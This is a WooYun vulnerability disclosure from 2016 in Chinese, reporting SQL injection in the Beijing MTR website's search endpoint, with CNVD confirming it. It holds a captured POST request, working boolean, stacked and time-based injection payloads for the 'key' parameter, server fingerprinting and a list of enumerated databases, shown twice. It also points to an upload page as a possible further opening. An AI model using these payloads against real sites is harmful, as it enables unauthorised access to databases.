当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0214174

漏洞标题:京港地铁主站存在SQL注入漏洞

相关厂商:京港地铁

漏洞作者: 路人甲

提交时间:2016-05-29 21:04

修复时间:2016-07-15 17:30

公开时间:2016-07-15 17:30

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-29: 细节已通知厂商并且等待厂商处理中
2016-05-31: 厂商已经确认,细节仅向厂商公开
2016-06-10: 细节向核心白帽子及相关领域专家公开
2016-06-20: 细节向普通白帽子公开
2016-06-30: 细节向实习白帽子公开
2016-07-15: 细节向公众公开

简要描述:

详细说明:

http://**.**.**.**/index.html

Snap154.png


抓包

POST /Ajax/AjaxUser.aspx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**/other/soso.html?key=a%27or%27a%27=%27a
Content-Length: 59
Cookie: CNZZDATA1000053835=809273715-1464512103-http%253A%252F%252F**.**.**.**%252F%7C1464512103; ASP.NET_SessionId=qweokd55xnpxwc45ed3krr55
Connection: keep-alive
cmd=ajaxpage&pageindex=1&pagesize=5&classid=0&xgid=0&key=k


注入参数key

---
Parameter: key (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cmd=ajaxpage&pageindex=1&pagesize=5&classid=0&xgid=0&key=a%' AND 3271=3271 AND '%'='
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: cmd=ajaxpage&pageindex=1&pagesize=5&classid=0&xgid=0&key=a%';WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: cmd=ajaxpage&pageindex=1&pagesize=5&classid=0&xgid=0&key=a%' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005


数据库
available databases [10]:
[*] BJMTR_WEB
[*] BJMTRWEB
[*] BJMTRWEBUAT01
[*] DB_InDiTie
[*] db_jgdt_en
[*] JOB
[*] master
[*] model
[*] msdb
[*] tempdb

current database:    'BJMTR_WEB'


Snap155.png

漏洞证明:

http://**.**.**.**/index.html

Snap154.png


抓包

POST /Ajax/AjaxUser.aspx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**/other/soso.html?key=a%27or%27a%27=%27a
Content-Length: 59
Cookie: CNZZDATA1000053835=809273715-1464512103-http%253A%252F%252F**.**.**.**%252F%7C1464512103; ASP.NET_SessionId=qweokd55xnpxwc45ed3krr55
Connection: keep-alive
cmd=ajaxpage&pageindex=1&pagesize=5&classid=0&xgid=0&key=k


注入参数key

---
Parameter: key (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cmd=ajaxpage&pageindex=1&pagesize=5&classid=0&xgid=0&key=a%' AND 3271=3271 AND '%'='
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: cmd=ajaxpage&pageindex=1&pagesize=5&classid=0&xgid=0&key=a%';WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: cmd=ajaxpage&pageindex=1&pagesize=5&classid=0&xgid=0&key=a%' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005


数据库
available databases [10]:
[*] BJMTR_WEB
[*] BJMTRWEB
[*] BJMTRWEBUAT01
[*] DB_InDiTie
[*] db_jgdt_en
[*] JOB
[*] master
[*] model
[*] msdb
[*] tempdb

current database:    'BJMTR_WEB'


Snap155.png


一处上传不知道能不能利用http://**.**.**.**/HR/upload.aspx
反正我不会了

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-05-31 17:23

厂商回复:

CNVD确认所述漏洞情况,已经转由CNCERT下发北京分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价